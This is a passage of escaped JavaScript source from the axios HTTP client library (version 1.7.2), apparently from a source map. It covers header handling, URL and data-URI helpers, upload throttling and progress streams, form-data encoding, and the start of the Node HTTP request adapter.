setHeader(_value, _header, _rewrite));\n\n    if (utils.isPlainObject(header) || header instanceof this.constructor) {\n      setHeaders(header, valueOrRewrite)\n    } else if(utils.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n      setHeaders(parseHeaders(header), valueOrRewrite);\n    } else if (utils.isHeaders(header)) {\n      for (const [key, value] of header.entries()) {\n        setHeader(value, key, rewrite);\n      }\n    } else {\n      header != null && setHeader(valueOrRewrite, header, rewrite);\n    }\n\n    return this;\n  }\n\n  get(header, parser) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      if (key) {\n        const value = this[key];\n\n        if (!parser) {\n          return value;\n        }\n\n        if (parser === true) {\n          return parseTokens(value);\n        }\n\n        if (utils.isFunction(parser)) {\n          return parser.call(this, value, key);\n        }\n\n        if (utils.isRegExp(parser)) {\n          return parser.exec(value);\n        }\n\n        throw new TypeError('parser must be boolean|regexp|function');\n      }\n    }\n  }\n\n  has(header, matcher) {\n    header = normalizeHeader(header);\n\n    if (header) {\n      const key = utils.findKey(this, header);\n\n      return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n    }\n\n    return false;\n  }\n\n  delete(header, matcher) {\n    const self = this;\n    let deleted = false;\n\n    function deleteHeader(_header) {\n      _header = normalizeHeader(_header);\n\n      if (_header) {\n        const key = utils.findKey(self, _header);\n\n        if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n          delete self[key];\n\n          deleted = true;\n        }\n      }\n    }\n\n    if (utils.isArray(header)) {\n      header.forEach(deleteHeader);\n    } else {\n      deleteHeader(header);\n    }\n\n    return deleted;\n  }\n\n  clear(matcher) {\n    const keys = Object.keys(this);\n    let i = keys.length;\n    let deleted = false;\n\n    while (i--) {\n      const key = keys[i];\n      if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n        delete this[key];\n        deleted = true;\n      }\n    }\n\n    return deleted;\n  }\n\n  normalize(format) {\n    const self = this;\n    const headers = {};\n\n    utils.forEach(this, (value, header) => {\n      const key = utils.findKey(headers, header);\n\n      if (key) {\n        self[key] = normalizeValue(value);\n        delete self[header];\n        return;\n      }\n\n      const normalized = format ? formatHeader(header) : String(header).trim();\n\n      if (normalized !== header) {\n        delete self[header];\n      }\n\n      self[normalized] = normalizeValue(value);\n\n      headers[normalized] = true;\n    });\n\n    return this;\n  }\n\n  concat(...targets) {\n    return this.constructor.concat(this, ...targets);\n  }\n\n  toJSON(asStrings) {\n    const obj = Object.create(null);\n\n    utils.forEach(this, (value, header) => {\n      value != null && value !== false && (obj[header] = asStrings && utils.isArray(value) ? value.join(', ') : value);\n    });\n\n    return obj;\n  }\n\n  [Symbol.iterator]() {\n    return Object.entries(this.toJSON())[Symbol.iterator]();\n  }\n\n  toString() {\n    return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n  }\n\n  get [Symbol.toStringTag]() {\n    return 'AxiosHeaders';\n  }\n\n  static from(thing) {\n    return thing instanceof this ? thing : new this(thing);\n  }\n\n  static concat(first, ...targets) {\n    const computed = new this(first);\n\n    targets.forEach((target) => computed.set(target));\n\n    return computed;\n  }\n\n  static accessor(header) {\n    const internals = this[$internals] = (this[$internals] = {\n      accessors: {}\n    });\n\n    const accessors = internals.accessors;\n    const prototype = this.prototype;\n\n    function defineAccessor(_header) {\n      const lHeader = normalizeHeader(_header);\n\n      if (!accessors[lHeader]) {\n        buildAccessors(prototype, _header);\n        accessors[lHeader] = true;\n      }\n    }\n\n    utils.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n    return this;\n  }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n  let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n  return {\n    get: () => value,\n    set(headerValue) {\n      this[mapped] = headerValue;\n    }\n  }\n});\n\nutils.freezeMethods(AxiosHeaders);\n\nexport default AxiosHeaders;\n","'use strict';\n\nimport utils from './../utils.js';\nimport defaults from '../defaults/index.js';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nexport default function transformData(fns, response) {\n  const config = this || defaults;\n  const context = response || config;\n  const headers = AxiosHeaders.from(context.headers);\n  let data = context.data;\n\n  utils.forEach(fns, function transform(fn) {\n    data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n  });\n\n  headers.normalize();\n\n  return data;\n}\n","'use strict';\n\nexport default function isCancel(value) {\n  return !!(value && value.__CANCEL__);\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport utils from '../utils.js';\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n  this.name = 'CanceledError';\n}\n\nutils.inherits(CanceledError, AxiosError, {\n  __CANCEL__: true\n});\n\nexport default CanceledError;\n","'use strict';\n\nimport AxiosError from './AxiosError.js';\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n * @param {object} response The response.\n *\n * @returns {object} The response.\n */\nexport default function settle(resolve, reject, response) {\n  const validateStatus = response.config.validateStatus;\n  if (!response.status || !validateStatus || validateStatus(response.status)) {\n    resolve(response);\n  } else {\n    reject(new AxiosError(\n      'Request failed with status code ' + response.status,\n      [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4],\n      response.config,\n      response.request,\n      response\n    ));\n  }\n}\n","'use strict';\n\n/**\n * Determines whether the specified URL is absolute\n *\n * @param {string} url The URL to test\n *\n * @returns {boolean} True if the specified URL is absolute, otherwise false\n */\nexport default function isAbsoluteURL(url) {\n  // A URL is considered absolute if it begins with \"<scheme>://\" or \"//\" (protocol-relative URL).\n  // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed\n  // by any combination of letters, digits, plus, period, or hyphen.\n  return /^([a-z][a-z\\d+\\-.]*:)?\\/\\//i.test(url);\n}\n","'use strict';\n\n/**\n * Creates a new URL by combining the specified URLs\n *\n * @param {string} baseURL The base URL\n * @param {string} relativeURL The relative URL\n *\n * @returns {string} The combined URL\n */\nexport default function combineURLs(baseURL, relativeURL) {\n  return relativeURL\n    ? baseURL.replace(/\\/?\\/$/, '') + '/' + relativeURL.replace(/^\\/+/, '')\n    : baseURL;\n}\n","'use strict';\n\nimport isAbsoluteURL from '../helpers/isAbsoluteURL.js';\nimport combineURLs from '../helpers/combineURLs.js';\n\n/**\n * Creates a new URL by combining the baseURL with the requestedURL,\n * only when the requestedURL is not already an absolute URL.\n * If the requestURL is absolute, this function returns the requestedURL untouched.\n *\n * @param {string} baseURL The base URL\n * @param {string} requestedURL Absolute or relative URL to combine\n *\n * @returns {string} The combined full path\n */\nexport default function buildFullPath(baseURL, requestedURL) {\n  if (baseURL && !isAbsoluteURL(requestedURL)) {\n    return combineURLs(baseURL, requestedURL);\n  }\n  return requestedURL;\n}\n","export const VERSION = \"1.7.2\";","'use strict';\n\nexport default function parseProtocol(url) {\n  const match = /^([-+\\w]{1,25})(:?\\/\\/|:)/.exec(url);\n  return match && match[1] || '';\n}\n","'use strict';\n\nimport AxiosError from '../core/AxiosError.js';\nimport parseProtocol from './parseProtocol.js';\nimport platform from '../platform/index.js';\n\nconst DATA_URL_PATTERN = /^(?:([^;]+);)?(?:[^;]+;)?(base64|),([\\s\\S]*)$/;\n\n/**\n * Parse data uri to a Buffer or Blob\n *\n * @param {String} uri\n * @param {?Boolean} asBlob\n * @param {?Object} options\n * @param {?Function} options.Blob\n *\n * @returns {Buffer|Blob}\n */\nexport default function fromDataURI(uri, asBlob, options) {\n  const _Blob = options && options.Blob || platform.classes.Blob;\n  const protocol = parseProtocol(uri);\n\n  if (asBlob === undefined && _Blob) {\n    asBlob = true;\n  }\n\n  if (protocol === 'data') {\n    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;\n\n    const match = DATA_URL_PATTERN.exec(uri);\n\n    if (!match) {\n      throw new AxiosError('Invalid URL', AxiosError.ERR_INVALID_URL);\n    }\n\n    const mime = match[1];\n    const isBase64 = match[2];\n    const body = match[3];\n    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');\n\n    if (asBlob) {\n      if (!_Blob) {\n        throw new AxiosError('Blob is not supported', AxiosError.ERR_NOT_SUPPORT);\n      }\n\n      return new _Blob([buffer], {type: mime});\n    }\n\n    return buffer;\n  }\n\n  throw new AxiosError('Unsupported protocol ' + protocol, AxiosError.ERR_NOT_SUPPORT);\n}\n","'use strict';\n\n/**\n * Throttle decorator\n * @param {Function} fn\n * @param {Number} freq\n * @return {Function}\n */\nfunction throttle(fn, freq) {\n  let timestamp = 0;\n  const threshold = 1000 / freq;\n  let timer = null;\n  return function throttled() {\n    const force = this === true;\n\n    const now = Date.now();\n    if (force || now - timestamp > threshold) {\n      if (timer) {\n        clearTimeout(timer);\n        timer = null;\n      }\n      timestamp = now;\n      return fn.apply(null, arguments);\n    }\n    if (!timer) {\n      timer = setTimeout(() => {\n        timer = null;\n        timestamp = Date.now();\n        return fn.apply(null, arguments);\n      }, threshold - (now - timestamp));\n    }\n  };\n}\n\nexport default throttle;\n","'use strict';\n\n/**\n * Calculate data maxRate\n * @param {Number} [samplesCount= 10]\n * @param {Number} [min= 1000]\n * @returns {Function}\n */\nfunction speedometer(samplesCount, min) {\n  samplesCount = samplesCount || 10;\n  const bytes = new Array(samplesCount);\n  const timestamps = new Array(samplesCount);\n  let head = 0;\n  let tail = 0;\n  let firstSampleTS;\n\n  min = min !== undefined ? min : 1000;\n\n  return function push(chunkLength) {\n    const now = Date.now();\n\n    const startedAt = timestamps[tail];\n\n    if (!firstSampleTS) {\n      firstSampleTS = now;\n    }\n\n    bytes[head] = chunkLength;\n    timestamps[head] = now;\n\n    let i = tail;\n    let bytesCount = 0;\n\n    while (i !== head) {\n      bytesCount += bytes[i++];\n      i = i % samplesCount;\n    }\n\n    head = (head + 1) % samplesCount;\n\n    if (head === tail) {\n      tail = (tail + 1) % samplesCount;\n    }\n\n    if (now - firstSampleTS < min) {\n      return;\n    }\n\n    const passed = startedAt && now - startedAt;\n\n    return passed ? Math.round(bytesCount * 1000 / passed) : undefined;\n  };\n}\n\nexport default speedometer;\n","'use strict';\n\nimport stream from 'stream';\nimport utils from '../utils.js';\nimport throttle from './throttle.js';\nimport speedometer from './speedometer.js';\n\nconst kInternals = Symbol('internals');\n\nclass AxiosTransformStream extends stream.Transform{\n  constructor(options) {\n    options = utils.toFlatObject(options, {\n      maxRate: 0,\n      chunkSize: 64 * 1024,\n      minChunkSize: 100,\n      timeWindow: 500,\n      ticksRate: 2,\n      samplesCount: 15\n    }, null, (prop, source) => {\n      return !utils.isUndefined(source[prop]);\n    });\n\n    super({\n      readableHighWaterMark: options.chunkSize\n    });\n\n    const self = this;\n\n    const internals = this[kInternals] = {\n      length: options.length,\n      timeWindow: options.timeWindow,\n      ticksRate: options.ticksRate,\n      chunkSize: options.chunkSize,\n      maxRate: options.maxRate,\n      minChunkSize: options.minChunkSize,\n      bytesSeen: 0,\n      isCaptured: false,\n      notifiedBytesLoaded: 0,\n      ts: Date.now(),\n      bytes: 0,\n      onReadCallback: null\n    };\n\n    const _speedometer = speedometer(internals.ticksRate * options.samplesCount, internals.timeWindow);\n\n    this.on('newListener', event => {\n      if (event === 'progress') {\n        if (!internals.isCaptured) {\n          internals.isCaptured = true;\n        }\n      }\n    });\n\n    let bytesNotified = 0;\n\n    internals.updateProgress = throttle(function throttledHandler() {\n      const totalBytes = internals.length;\n      const bytesTransferred = internals.bytesSeen;\n      const progressBytes = bytesTransferred - bytesNotified;\n      if (!progressBytes || self.destroyed) return;\n\n      const rate = _speedometer(progressBytes);\n\n      bytesNotified = bytesTransferred;\n\n      process.nextTick(() => {\n        self.emit('progress', {\n          loaded: bytesTransferred,\n          total: totalBytes,\n          progress: totalBytes ? (bytesTransferred / totalBytes) : undefined,\n          bytes: progressBytes,\n          rate: rate ? rate : undefined,\n          estimated: rate && totalBytes && bytesTransferred <= totalBytes ?\n            (totalBytes - bytesTransferred) / rate : undefined,\n          lengthComputable: totalBytes != null\n        });\n      });\n    }, internals.ticksRate);\n\n    const onFinish = () => {\n      internals.updateProgress.call(true);\n    };\n\n    this.once('end', onFinish);\n    this.once('error', onFinish);\n  }\n\n  _read(size) {\n    const internals = this[kInternals];\n\n    if (internals.onReadCallback) {\n      internals.onReadCallback();\n    }\n\n    return super._read(size);\n  }\n\n  _transform(chunk, encoding, callback) {\n    const self = this;\n    const internals = this[kInternals];\n    const maxRate = internals.maxRate;\n\n    const readableHighWaterMark = this.readableHighWaterMark;\n\n    const timeWindow = internals.timeWindow;\n\n    const divider = 1000 / timeWindow;\n    const bytesThreshold = (maxRate / divider);\n    const minChunkSize = internals.minChunkSize !== false ? Math.max(internals.minChunkSize, bytesThreshold * 0.01) : 0;\n\n    function pushChunk(_chunk, _callback) {\n      const bytes = Buffer.byteLength(_chunk);\n      internals.bytesSeen += bytes;\n      internals.bytes += bytes;\n\n      if (internals.isCaptured) {\n        internals.updateProgress();\n      }\n\n      if (self.push(_chunk)) {\n        process.nextTick(_callback);\n      } else {\n        internals.onReadCallback = () => {\n          internals.onReadCallback = null;\n          process.nextTick(_callback);\n        };\n      }\n    }\n\n    const transformChunk = (_chunk, _callback) => {\n      const chunkSize = Buffer.byteLength(_chunk);\n      let chunkRemainder = null;\n      let maxChunkSize = readableHighWaterMark;\n      let bytesLeft;\n      let passed = 0;\n\n      if (maxRate) {\n        const now = Date.now();\n\n        if (!internals.ts || (passed = (now - internals.ts)) >= timeWindow) {\n          internals.ts = now;\n          bytesLeft = bytesThreshold - internals.bytes;\n          internals.bytes = bytesLeft < 0 ? -bytesLeft : 0;\n          passed = 0;\n        }\n\n        bytesLeft = bytesThreshold - internals.bytes;\n      }\n\n      if (maxRate) {\n        if (bytesLeft <= 0) {\n          // next time window\n          return setTimeout(() => {\n            _callback(null, _chunk);\n          }, timeWindow - passed);\n        }\n\n        if (bytesLeft < maxChunkSize) {\n          maxChunkSize = bytesLeft;\n        }\n      }\n\n      if (maxChunkSize && chunkSize > maxChunkSize && (chunkSize - maxChunkSize) > minChunkSize) {\n        chunkRemainder = _chunk.subarray(maxChunkSize);\n        _chunk = _chunk.subarray(0, maxChunkSize);\n      }\n\n      pushChunk(_chunk, chunkRemainder ? () => {\n        process.nextTick(_callback, null, chunkRemainder);\n      } : _callback);\n    };\n\n    transformChunk(chunk, function transformNextChunk(err, _chunk) {\n      if (err) {\n        return callback(err);\n      }\n\n      if (_chunk) {\n        transformChunk(_chunk, transformNextChunk);\n      } else {\n        callback(null);\n      }\n    });\n  }\n\n  setLength(length) {\n    this[kInternals].length = +length;\n    return this;\n  }\n}\n\nexport default AxiosTransformStream;\n","const {asyncIterator} = Symbol;\n\nconst readBlob = async function* (blob) {\n  if (blob.stream) {\n    yield* blob.stream()\n  } else if (blob.arrayBuffer) {\n    yield await blob.arrayBuffer()\n  } else if (blob[asyncIterator]) {\n    yield* blob[asyncIterator]();\n  } else {\n    yield blob;\n  }\n}\n\nexport default readBlob;\n","import {TextEncoder} from 'util';\nimport {Readable} from 'stream';\nimport utils from \"../utils.js\";\nimport readBlob from \"./readBlob.js\";\n\nconst BOUNDARY_ALPHABET = utils.ALPHABET.ALPHA_DIGIT + '-_';\n\nconst textEncoder = new TextEncoder();\n\nconst CRLF = '\\r\\n';\nconst CRLF_BYTES = textEncoder.encode(CRLF);\nconst CRLF_BYTES_COUNT = 2;\n\nclass FormDataPart {\n  constructor(name, value) {\n    const {escapeName} = this.constructor;\n    const isStringValue = utils.isString(value);\n\n    let headers = `Content-Disposition: form-data; name=\"${escapeName(name)}\"${\n      !isStringValue && value.name ? `; filename=\"${escapeName(value.name)}\"` : ''\n    }${CRLF}`;\n\n    if (isStringValue) {\n      value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n    } else {\n      headers += `Content-Type: ${value.type || \"application/octet-stream\"}${CRLF}`\n    }\n\n    this.headers = textEncoder.encode(headers + CRLF);\n\n    this.contentLength = isStringValue ? value.byteLength : value.size;\n\n    this.size = this.headers.byteLength + this.contentLength + CRLF_BYTES_COUNT;\n\n    this.name = name;\n    this.value = value;\n  }\n\n  async *encode(){\n    yield this.headers;\n\n    const {value} = this;\n\n    if(utils.isTypedArray(value)) {\n      yield value;\n    } else {\n      yield* readBlob(value);\n    }\n\n    yield CRLF_BYTES;\n  }\n\n  static escapeName(name) {\n      return String(name).replace(/[\\r\\n\"]/g, (match) => ({\n        '\\r' : '%0D',\n        '\\n' : '%0A',\n        '\"' : '%22',\n      }[match]));\n  }\n}\n\nconst formDataToStream = (form, headersHandler, options) => {\n  const {\n    tag = 'form-data-boundary',\n    size = 25,\n    boundary = tag + '-' + utils.generateString(size, BOUNDARY_ALPHABET)\n  } = options || {};\n\n  if(!utils.isFormData(form)) {\n    throw TypeError('FormData instance required');\n  }\n\n  if (boundary.length < 1 || boundary.length > 70) {\n    throw Error('boundary must be 10-70 characters long')\n  }\n\n  const boundaryBytes = textEncoder.encode('--' + boundary + CRLF);\n  const footerBytes = textEncoder.encode('--' + boundary + '--' + CRLF + CRLF);\n  let contentLength = footerBytes.byteLength;\n\n  const parts = Array.from(form.entries()).map(([name, value]) => {\n    const part = new FormDataPart(name, value);\n    contentLength += part.size;\n    return part;\n  });\n\n  contentLength += boundaryBytes.byteLength * parts.length;\n\n  contentLength = utils.toFiniteNumber(contentLength);\n\n  const computedHeaders = {\n    'Content-Type': `multipart/form-data; boundary=${boundary}`\n  }\n\n  if (Number.isFinite(contentLength)) {\n    computedHeaders['Content-Length'] = contentLength;\n  }\n\n  headersHandler && headersHandler(computedHeaders);\n\n  return Readable.from((async function *() {\n    for(const part of parts) {\n      yield boundaryBytes;\n      yield* part.encode();\n    }\n\n    yield footerBytes;\n  })());\n};\n\nexport default formDataToStream;\n","\"use strict\";\n\nimport stream from \"stream\";\n\nclass ZlibHeaderTransformStream extends stream.Transform {\n  __transform(chunk, encoding, callback) {\n    this.push(chunk);\n    callback();\n  }\n\n  _transform(chunk, encoding, callback) {\n    if (chunk.length !== 0) {\n      this._transform = this.__transform;\n\n      // Add Default Compression headers if no zlib headers are present\n      if (chunk[0] !== 120) { // Hex: 78\n        const header = Buffer.alloc(2);\n        header[0] = 120; // Hex: 78\n        header[1] = 156; // Hex: 9C \n        this.push(header, encoding);\n      }\n    }\n\n    this.__transform(chunk, encoding, callback);\n  }\n}\n\nexport default ZlibHeaderTransformStream;\n","import utils from \"../utils.js\";\n\nconst callbackify = (fn, reducer) => {\n  return utils.isAsyncFn(fn) ? function (...args) {\n    const cb = args.pop();\n    fn.apply(this, args).then((value) => {\n      try {\n        reducer ? cb(null, ...reducer(value)) : cb(null, value);\n      } catch (err) {\n        cb(err);\n      }\n    }, cb);\n  } : fn;\n}\n\nexport default callbackify;\n","'use strict';\n\nimport utils from './../utils.js';\nimport settle from './../core/settle.js';\nimport buildFullPath from '../core/buildFullPath.js';\nimport buildURL from './../helpers/buildURL.js';\nimport {getProxyForUrl} from 'proxy-from-env';\nimport http from 'http';\nimport https from 'https';\nimport util from 'util';\nimport followRedirects from 'follow-redirects';\nimport zlib from 'zlib';\nimport {VERSION} from '../env/data.js';\nimport transitionalDefaults from '../defaults/transitional.js';\nimport AxiosError from '../core/AxiosError.js';\nimport CanceledError from '../cancel/CanceledError.js';\nimport platform from '../platform/index.js';\nimport fromDataURI from '../helpers/fromDataURI.js';\nimport stream from 'stream';\nimport AxiosHeaders from '../core/AxiosHeaders.js';\nimport AxiosTransformStream from '../helpers/AxiosTransformStream.js';\nimport {EventEmitter} from 'events';\nimport formDataToStream from \"../helpers/formDataToStream.js\";\nimport readBlob from \"../helpers/readBlob.js\";\nimport ZlibHeaderTransformStream from '../helpers/ZlibHeaderTransformStream.js';\nimport callbackify from \"../helpers/callbackify.js\";\n\nconst zlibOptions = {\n  flush: zlib.constants.Z_SYNC_FLUSH,\n  finishFlush: zlib.constants.Z_SYNC_FLUSH\n};\n\nconst brotliOptions = {\n  flush: zlib.constants.BROTLI_OPERATION_FLUSH,\n  finishFlush: zlib.constants.BROTLI_OPERATION_FLUSH\n}\n\nconst isBrotliSupported = utils.isFunction(zlib.createBrotliDecompress);\n\nconst {http: httpFollow, https: httpsFollow} = followRedirects;\n\nconst isHttps = /https:?/;\n\nconst supportedProtocols = platform.protocols.map(protocol => {\n  return protocol + ':';\n});\n\n/**\n * If the proxy or config beforeRedirects functions are defined, call them with the options\n * object.\n *\n * @param {Object<string, any>} options - The options object that was passed to the request.\n *\n * @returns {Object<string, any>}\n */\nfunction dispatchBeforeRedirect(options, responseDetails) {\n  if (options.beforeRedirects.proxy) {\n    options.beforeRedirects.proxy(options);\n  }\n  if (options.beforeRedirects.config) {\n    options.beforeRedirects.config(options, responseDetails);\n  }\n}\n\n/**\n * If the proxy or config afterRedirects functions are defined, call them with the options\n *\n * @param {http.ClientRequestArgs} options\n * @param {AxiosProxyConfig} configProxy configuration from Axios options object\n * @param {string} location\n *\n * @returns {http.ClientRequestArgs}\n */\nfunction setProxy(options, configProxy, location) {\n  let proxy = configProxy;\n  if (!proxy && proxy !== false) {\n    const proxyUrl = getProxyForUrl(location);\n    if (proxyUrl) {\n      proxy = new URL(proxyUrl);\n    }\n  }\n  if (proxy) {\n    // Basic proxy authorization\n    if (proxy.username) {\n      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n    }\n\n    if (proxy.auth) {\n      // Support proxy auth object form\n      if (proxy.auth.username || proxy.auth.password) {\n        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n      }\n      const base64 = Buffer\n        .from(proxy.auth, 'utf8')\n        .toString('base64');\n      options.headers['Proxy-Authorization'] = 'Basic ' + base64;\n    }\n\n    options.headers.host = options.hostname + (options.port ? ':' + options.port : '');\n    const proxyHost = proxy.hostname || proxy.host;\n    options.hostname = proxyHost;\n    // Replace 'host' since options is not a URL object\n    options.host = proxyHost;\n    options.port = proxy.port;\n    options.path = location;\n    if (proxy.protocol) {\n      options.protocol = proxy.protocol.includes(':') ? proxy.protocol : `${proxy.protocol}:`;\n    }\n  }\n\n  options.beforeRedirects.proxy = function beforeRedirect(redirectOptions) {\n    // Configure proxy for redirected request, passing the original config proxy to apply\n    // the exact same logic as if the redirected request was performed by axios directly.\n    setProxy(redirectOptions, configProxy, redirectOptions.href);\n  };\n}\n\nconst isHttpAdapterSupported = typeof process !== 'undefined' && utils.kindOf(process) === 'process';\n\n// temporary hotfix\n\nconst wrapAsync = (asyncExecutor) => {\n  return new Promise((resolve, reject) => {\n    let onDone;\n    let isDone;\n\n    const done = (value, isRejected) => {\n      if (isDone) return;\n      isDone = true;\n      onDone && onDone(value, isRejected);\n    }\n\n    const _resolve = (value) => {\n      done(value);\n      resolve(value);\n    };\n\n    const _reject = (reason) => {\n      done(reason, true);\n      reject(reason);\n    }\n\n    asyncExecutor(_resolve, _reject, (onDoneHandler) => (onDone = onDoneHandler)).catch(_reject);\n  })\n};\n\nconst resolveFamily = ({address, family}) => {\n  if (!utils.isString(address)) {\n    throw TypeError('address must be a string');\n  }\n  return ({\n    address,\n    family: family || (address.indexOf('.') < 0 ? 6 : 4)\n  });\n}\n\nconst buildAddressEntry = (address, family) => resolveFamily(utils.isObject(address) ? address : {address, family});\n\n/*eslint consistent-return:0*/\nexport default isHttpAdapterSupported && function httpAdapter(config) {\n  return wrapAsync(async function dispatchHttpRequest(resolve, reject, onDone) {\n    let {data, lookup, family} = config;\n    const {responseType, responseEncoding} = config;\n    const method = config.method.toUpperCase();\n    let isDone;\n    let rejected = false;\n    let req;\n\n    if (lookup) {\n      const _lookup = callbackify(lookup, (value) => utils.isArray(value) ? value : [value]);\n      // hotfix to support opt.all option which is required for node 20.x\n      lookup = (hostname, opt, cb) => {\n        _lookup(hostname, opt, (err, arg0, arg1) => {\n          if (err) {\n            return cb(err);\n          }\n\n          const addresses = utils.isArray(arg0) ? arg0.map(addr => buildAddressEntry(addr)) : [buildAddressEntry(arg0, arg1)];\n\n          opt.all ? cb(err, addresses) : cb(err, addresses[0].address, addresses[0].family);\n        });\n      }\n    }\n\n    // temporary internal emitter until the AxiosRequest class will be implemented\n    const emitter = new EventEmitter();\n\n    const onFinished = () => {\n      if (config.cancelToken) {\n        config.cancelToken.unsubscribe(abort);\n      }\n\n      if (config.signal) {\n        config.signal.removeEventListener('abort', abort);\n      }\n\n      emitter.removeAllListeners();\n    }\n\n    onDone((value, isRejected) => {\n      isDone = true;\n      if (isRejected) {\n        rejected = true;\n        onFinished();\n      }\n    });\n\n    function abort(reason) {\n      emitter.emit('abort', !reason || reason.type ? new CanceledError(null, config, req) : reason);\n    }\n\n    emitter.once('abort', reject);\n\n    if (config.cancelToken || config.signal) {\n      config.cancelToken && config.cancelToken.subscribe(abort);\n      if (config.signal) {\n        config.signal.aborted ? abort() : config.signal.addEventListener('abort', abort);\n      }\n    }\n\n    // Parse url\n    const fullPath = buildFullPath(config.baseURL, config.url);\n    const parsed = new URL(fullPath, 'http://localhost');\n    const protocol = parsed.protocol || supportedProtocols[0];\n\n    if (protocol === 'data:') {\n      let convertedData;\n\n      if (method !== 'GET') {\n        return settle(resolve, reject, {\n          status: 405,\n          statusText: 'method not allowed',\n          headers: {},\n          config\n        });\n      }\n\n      try {\n        convertedData = fromDataURI(config.url, responseType === 'blob', {\n          Blob: config.env && config.env.Blob\n        });\n      } catch (err) {\n        throw AxiosError.from(err, AxiosError.ERR_BAD_REQUEST, config);\n      }\n\n      if (responseType === 'text') {\n        convertedData = convertedData.toString(responseEncoding);\n\n        if (!responseEncoding || responseEncoding === 'utf8') {\n          convertedData = utils.stripBOM(convertedData);\n        }\n      } else if (responseType === 'stream') {\n        convertedData = stream.Readable.from(convertedData);\n      }\n\n      return settle(resolve, reject, {\n        data: convertedData,\n        status: 200,\n        statusText: 'OK',\n        headers: new AxiosHeaders(),\n        config\n      });\n    }\n\n    if (supportedProtocols.indexOf(protocol) === -1) {\n      return reject(new AxiosError(\n        'Unsupported protocol ' + protocol,\n        AxiosError.ERR_BAD_REQUEST,\n        config\n      ));\n    }\n\n    const headers = AxiosHeaders.from(config.headers).normalize();\n\n    // Set User-Agent (required by some servers)\n    // See https://github.com/axios/axios/issues/69\n    // User-Agent is specified; handle case where no UA header is desired\n    // Only set header if it hasn't been set in config\n    headers.set('User-Agent', 'axios/' + VERSION, false);\n\n    const onDownloadProgress = config.onDownloadProgress;\n    const onUploadProgress = config.onUploadProgress;\n    const maxRate = config.maxRate;\n    let maxUploadRate = undefined;\n    let maxDownloadRate = undefined;\n\n    // support for spec compliant FormData objects\n    if (utils.isSpecCompliantForm(data)) {\n      const userBoundary = headers.getContentType(/boundary=([-_\\w\\d]{10,70})/i);\n\n      data = formDataToStream(data, (formHeaders) => {\n        headers.set(formHeaders);\n      }, {\n        tag: `axios-${VERSION}-boundary`,\n        boundary: userBoundary && userBoundary[1] || undefined\n      });\n      // support for https://www.npmjs.com/package/form-data api\n    } else if (utils.isFormData(data) && utils.isFunction(data.getHeaders)) {\n      headers.set(data.getHeaders());\n\n      if (!headers.hasContentLength()) {\n        try {\n          const knownLength = await util.promisify(data.getLength).call(data);\n          Number.isFinite(knownLength) && knownLength >= 0 && headers.setContentLength(knownLength);\n          /*eslint no-empty:0*/\n        } catch (e) {\n        }\n      }\n    } else if (utils.isBlob(data)) {\n      data.size && headers.setContentType(data.type || 'application/octet-stream');\n      headers.setContentLength(data.size || 0);\n      data = stream.Readable.from(readBlob(data));\n    } else if (data && !utils.isStream(data)) {\n      if (Buffer.isBuffer(data)) {\n        // Nothing to do...\n      } else if (utils.isArrayBuffer(data)) {\n        data = Buffer.from(new Uint8Array(data));\n      } else if (utils.isString(data)) {\n        data = Buffer.from(data, 'utf-8');\n      } else {\n        return reject(new AxiosError(\n          'Data after transformation must be a string, an ArrayBuffer, a Buffer, or a Stream',\n          AxiosError.ERR_BAD_REQUEST,\n          config\n        ));\n      }\n\n      // Add Content-Length header if data exists\n      headers.setContentLength(data.length, false);\n\n      if (config.maxBodyLength > -1 && data.length > config.maxBodyLength) {\n        return reject(new AxiosError(\n          'Request body larger than maxBodyLength limit',\n          AxiosError.ERR_BAD_REQUEST,\n          config\n        ));\n      }\n    }\n\n    const contentLength = utils.toFiniteNumber(headers.getContentLength());\n\n    if (utils.isArray(maxRate)) {\n      maxUploadRate = maxRate[0];\n      maxDownloadRate = maxRate[1];\n    } else {\n      maxUploadRate = maxDownloadRate = maxRate;\n    }\n\n    if (data && (onUploadProgress || maxUploadRate)) {\n      if (!utils.isStream(data)) {\n        data = stream.Readable.from(data, {objectMode: false});\n      }\n\n      data = stream.pipeline([data, new AxiosTransformStream({\n        length: contentLength,\n        maxRate: utils.toFiniteNumber(maxUploadRate)\n      })], utils.noop);\n\n      onUploadProgress && data.on('progress', progress => {\n        onUploadProgress(Object.assign(progress, {\n          upload: true\n        }));\n      });\n    }\n\n    // HTTP basic authentication\n    let auth = undefined;\n    if (config.auth) {\n   